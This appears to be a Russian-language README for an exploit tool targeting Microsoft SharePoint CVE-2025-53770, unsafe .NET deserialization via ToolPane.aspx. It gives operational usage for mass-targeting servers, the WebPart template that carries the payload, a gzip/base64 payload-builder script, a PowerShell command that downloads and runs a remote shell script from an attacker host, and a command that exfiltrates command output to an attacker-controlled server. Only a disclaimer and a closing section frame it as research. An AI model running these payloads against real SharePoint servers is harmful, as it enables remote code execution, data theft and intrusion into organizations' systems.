
Инструмент для эксплуатации инъекций WebPart в SharePoint
🍕 Инструмент для эксплуатации инъекции WebPart в SharePoint через ToolPane.aspx, приводящей к десериализации .NET и потенциальному удалённому выполнению кода (RCE).
Разработано: @GOTOCVE
Этот инструмент эксплуатирует уязвимость в Microsoft SharePoint (on-premises), которая позволяет аутентифицированным пользователям злоупотреблять конечной точкой ToolPane.aspx и внедрять вредоносные WebPart-компоненты, содержащие сериализованные объекты .NET, сжатые GZIP.
Внедрённый объект помещается в параметр MSOTlPn_SelectedWpId и встраивается в поддельный WebPart (например, <Scorecard:ExcelDataSet>), который анализируется и десериализуется серверной частью SharePoint.
| Продукт | Затронутые версии |
|---|---|
| SharePoint Server 2016 | 16.0.4351.1000 - 16.0.5508.1000 |
| SharePoint Server 2019 | 16.0.10337.12109 - 16.0.10417.20027 |
| Поле | Значение |
|---|---|
| Компонент | Microsoft SharePoint (On-Premises) |
| Конечная точка | /layouts/15/ToolPane.aspx |
| Параметр | MSOTlPn_DWP |
| WebPart | <Scorecard:ExcelDataSet CompressedDataTable> |
| Проблема | Небезопасная десериализация .NET |
| CVE | CVE-2025-53770 |
exploit.pyМногопоточный инструмент эксплуатации SharePoint для CVE-2025-53770.
/ToolPane.aspxYSLosf.exeГенератор пейлоадов и десериализатор LosFormatter.
python3 exploit.py -u https://target -p payload.txt
python3 exploit.py -f targets.txt -p payload.txt --proxy http://127.0.0.1:8080
| Аргумент | Описание |
|---|---|
-u | URL цели (например, https://sp.company.local) |
-f | Файл со списком URL целей (по одному на строку) |
-p | Файл пейлоада или готовая строка Base64 GZIP |
--proxy | Необязательный прокси (например, http://127.0.0.1:8080) |
-t | Таймаут в секундах (по умолчанию: 15) |
python -m venv venv
source venv/bin/activate
pip install -r requirements.txt
YSLosf.exe)Ваш пейлоад должен быть:
DataSet, ObjectDataProvider)LosFormatter или BinaryFormatterВстроен в WebPart следующим образом:
<asp:UpdateProgress ID="UpdateProgress1" runat="server" AssociatedUpdatePanelID="upTest">
<ProgressTemplate>
<div class="divWaiting">
<Scorecard:ExcelDataSet CompressedDataTable="{PAYLOAD}" DataTable-CaseSensitive="false" runat="server" />
</div>
</ProgressTemplate>
</asp:UpdateProgress>
YSLosfПоместите вашу команду (например, reverse shell) в payload.txt:
powershell -nop -c iwr http://attacker/shell.ps1 | iex
C:\Users\soltanali0\Desktop\YSLosf\bin\x64\Debug\net48>.\YSLosf.exe --p payload.txt
Serialized string:
/wEFBWZsdG1j
Base64 encoded:
L3dFRkJXWnNkRzFq
C:\Users\soltanali0\Desktop\YSLosf\bin\x64\Debug\net48>.\YSLosf.exe -d dpayload.txt
Deserialized object:
fltmc
# compress.py
import gzip, base64
with open("base64.txt", "rb") as f:
b64 = base64.b64decode(f.read())
gz = gzip.compress(b64)
# print(base64.b64encode(gz).decode())
encoded = base64.b64encode(gz).decode()
with open("payload-final.txt", "w") as out_file:
out_file.write(encoded)
Сохраните вывод в payload-final.txt и передайте его инструменту эксплуатации.
System.Data.DataSetSystem.Data.Services.Internal.ExpandedWrapperSystem.Windows.Data.ObjectDataProviderSystem.Web.UI.LosFormatterЭта уязвимость не возвращает вывод (например, ipconfig) в ответе. Вам необходимо:
powershell -c "ipconfig | Invoke-WebRequest -Uri http://your-ip:8000/?d=$(Get-Content -Raw)"
Этот инструмент предоставляется только для образовательных целей и авторизованного тестирования безопасности.
Не используйте его против систем без явного разрешения. Неправильное использование может быть незаконным и неэтичным.
Если уязвимый сервер принимает пейлоад и отражает MSOTlPn_SelectedWpId или отображает страницу с внедрённым WebPart, он, скорее всего, эксплуатируем. Отсутствие вывода означает, что десериализация не удалась или сервер уже пропатчен.
Этот инструмент не доставляет и не выполняет шеллкод или веб-шеллы.
Он лишь демонстрирует эксплуатацию уязвимости десериализации .NET (CVE-2025-53770) через уязвимую конечную точку ToolPane.aspx с использованием вредоносной структуры WebPart, содержащей сжатый GZIP объект .NET.
🔹 Назначение: помочь исследователям, red team-специалистам и защитникам обнаруживать уязвимые серверы SharePoint и безопасно тестировать вектор инъекции с помощью собственных пейлоадов.
🔹 Пейлоады: инструмент требует, чтобы пользователи самостоятельно генерировали пейлоады (например, с помощью YSLosf.exe), которые встраиваются в WebPart в виде GZIP-строк в кодировке Base64.
Пользователь несёт ответственность за выбор подходящих и этичных пейлоадов (например, безвредный запуск calc.exe, beacon-маркеры и т. п.).
🔹 Reverse Shell / Web Shell не включены:
Хотя злоумышленники в реальных атаках могут размещать веб-шеллы вроде spinstall0.aspx, этот проект не содержит подобной логики.
Если вы планируете доставку reverse shell, вы должны вручную сгенерировать собственный пейлоад и нести полную ответственность за его использование.
Присоединяйтесь к @GOTOCVE в Telegram:
Автор: Ali Soltani
По вопросам исследований или сообщениям об ошибках пишите в Telegram